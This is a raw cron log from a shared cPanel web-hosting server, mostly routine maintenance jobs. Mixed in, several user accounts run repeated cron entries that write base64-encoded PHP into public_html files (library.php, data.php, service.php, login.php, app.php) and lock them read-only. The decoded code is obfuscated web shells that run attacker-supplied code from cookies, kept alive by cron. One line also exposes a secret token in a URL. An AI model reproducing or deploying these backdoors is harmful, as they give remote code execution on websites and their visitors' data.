Mar  2 15:15:01 medusa CROND[16539]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:15:01 medusa CROND[16538]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:15:01 medusa CROND[16545]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:15:01 medusa CROND[16542]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:15:01 medusa CROND[16524]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:15:01 medusa CROND[16553]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:15:01 medusa CROND[16554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:15:01 medusa CROND[16556]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:15:01 medusa CROND[16557]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:15:01 medusa CROND[16543]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:15:01 medusa CROND[16559]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 15:15:01 medusa CROND[16577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:16:01 medusa CROND[31992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:16:01 medusa CROND[32262]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:16:01 medusa CROND[32263]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:16:01 medusa CROND[32304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:16:01 medusa CROND[32308]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:16:01 medusa CROND[32311]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:16:01 medusa CROND[32307]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:16:01 medusa CROND[32320]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:16:01 medusa CROND[32323]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:16:01 medusa CROND[32324]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:16:01 medusa CROND[32325]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:16:01 medusa CROND[32326]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:16:01 medusa CROND[32327]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:16:01 medusa CROND[32333]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:17:02 medusa CROND[14559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:17:02 medusa CROND[14693]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:17:02 medusa CROND[14787]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:17:02 medusa CROND[14789]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:17:02 medusa CROND[14790]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:17:02 medusa CROND[14791]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:17:02 medusa CROND[14793]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:17:02 medusa CROND[14795]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:17:02 medusa CROND[14796]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
